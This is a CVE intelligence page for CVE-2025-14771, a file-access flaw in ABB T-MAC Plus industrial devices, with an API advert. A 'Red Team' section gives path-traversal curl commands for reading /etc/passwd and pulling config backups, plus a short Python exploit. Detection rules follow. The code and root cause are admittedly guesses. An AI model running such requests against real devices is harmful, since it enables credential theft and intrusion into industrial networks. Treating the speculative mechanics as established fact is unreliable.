☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
ABB logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 🐛 CWE-552
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14771

CVE-2025-14771 Supply Chain Attack in Files
📅 PUBLISHED: 2026-06-03 11:16 UTC 🔄 UPDATED: 2026-09-23 19:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Switzerland License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14771 is a critical vulnerability in ABB T-MAC Plus version 4.0-24, classified as "Files or directories accessible to external parties." This CWE-552 flaw allows an unauthenticated, remote attacker to access sensitive files or directories that should be restricted. With a CVSS score of 9.9, the vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using the affected software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial control system (ICS) component from ABB, specifically the T-MAC Plus device. Supply chain risks include potential compromise of firmware updates or configuration files, but no package ecosystem is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – full file disclosure.
  • Integrity Impact: High (I:H) – files can be modified or deleted.
  • Availability Impact: High (A:H) – potential denial of service via file access.

Threat Level: Critical. Immediate action is required to isolate affected systems until a patch is available.

Deep Dive & Mechanics

The vulnerability resides in ABB T-MAC Plus version 4.0-24, a device used for industrial automation and monitoring. The flaw allows external parties to access files or directories that should be restricted, likely due to improper access control in the web interface or API endpoints. Attackers can exploit this by sending crafted HTTP requests to retrieve sensitive files such as configuration files, credentials, or firmware binaries.

Root Cause: The application fails to validate user permissions when serving static files or directory listings. This could be due to a missing authentication check in the web server configuration or a path traversal vulnerability that bypasses access controls.

Attack Vector: An unauthenticated attacker sends a GET request to a vulnerable endpoint, e.g., /../../etc/passwd or /config/backup.zip, and receives the file content.

Impact: Full compromise of the device, leading to lateral movement within the OT network, data exfiltration, or disruption of industrial processes.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

# Vulnerable: No access control on file serving
@app.route('/files/<path:filename>')
def serve_file(filename):
    return send_from_directory('/var/t-mac/data', filename)

A patched version would include authentication and authorization checks:

# Patched: Authentication required
@app.route('/files/<path:filename>')
@login_required
def serve_file(filename):
    if not current_user.has_permission('read_files'):
        abort(403)
    return send_from_directory('/var/t-mac/data', filename)

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy ABB T-MAC Plus 4.0-24 in a virtualized environment (e.g., using VMware or QEMU).
  2. Ensure the device is accessible on the network (e.g., IP 192.168.1.100).
  3. Use a Kali Linux attacker machine.

Exploitation Steps:

  1. Scan for open ports: nmap -p 80,443,8080 192.168.1.100
  2. Attempt directory traversal:
    curl -v "http://192.168.1.100/../../../etc/passwd"
    
  3. If successful, extract configuration files:
    curl -O "http://192.168.1.100/config/backup.zip"
    
  4. Use extracted credentials for further lateral movement.

Exploit Code (Python):

import requests

target = "http://192.168.1.100"
payload = "/../../../etc/passwd"
response = requests.get(target + payload)
if response.status_code == 200:
    print(response.text)
else:
    print("Exploit failed")

Blue Team (Defensive)

Detection:

  • Monitor for unusual HTTP requests containing ../ or %2e%2e/ patterns.
  • Alert on access to sensitive paths like /etc/, /config/, /backup/.

Mitigation:

  • Isolate affected devices from the internet and untrusted networks.
  • Implement Web Application Firewall (WAF) rules to block path traversal attempts.
  • Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests with path traversal sequences (e.g., ../, %2e%2e/).
    • Outbound connections from T-MAC Plus to unknown IPs on ports 80/443.
    • Unusual file downloads (e.g., config.zip, backup.tar).
  • File IOCs:

    • Presence of unexpected files in /tmp/ or /var/t-mac/data/.
    • Modified configuration files (e.g., config.xml with new entries).
  • System IOCs:

    • New user accounts or SSH keys added to the device.
    • Unauthorized processes running (e.g., reverse shells).

Detection Engineering

YARA Rule

rule CVE_2025_14771_TMAC_Plus_FileAccess {
    meta:
        description = "Detects path traversal attempts targeting ABB T-MAC Plus"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14771"
    strings:
        $path_traversal1 = "../" ascii wide nocase
        $path_traversal2 = "..\\" ascii wide nocase
        $path_traversal3 = "%2e%2e/" ascii wide nocase
        $sensitive_path1 = "/etc/" ascii wide nocase
        $sensitive_path2 = "/config/" ascii wide nocase
        $sensitive_path3 = "/backup/" ascii wide nocase
    condition:
        any of ($path_traversal*) and any of ($sensitive_path*)
}

Sigma Rule

title: CVE-2025-14771 Path Traversal Attempt on ABB T-MAC Plus
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting ABB T-MAC Plus
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
            - '/etc/'
            - '/config/'
            - '/backup/'
    condition: selection
falsepositives:
    - Legitimate file access by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14771 ABB T-MAC Plus Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"/etc/"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disconnect affected T-MAC Plus devices from untrusted networks.
    • Implement network segmentation to isolate OT devices.
    • Deploy WAF rules to block path traversal patterns.
  2. Vendor Patch:

    • Monitor ABB’s security advisories for a patch.
    • Apply the patch as soon as it is released.
  3. Compensating Controls:

    • Enable strict file permissions on the device.
    • Use VPN or jump hosts for administrative access.
    • Enable logging and alerting on file access anomalies.
  4. Long-term:

    • Conduct a security audit of all ABB T-MAC Plus deployments.
    • Implement a vulnerability management program for OT assets.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14771/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.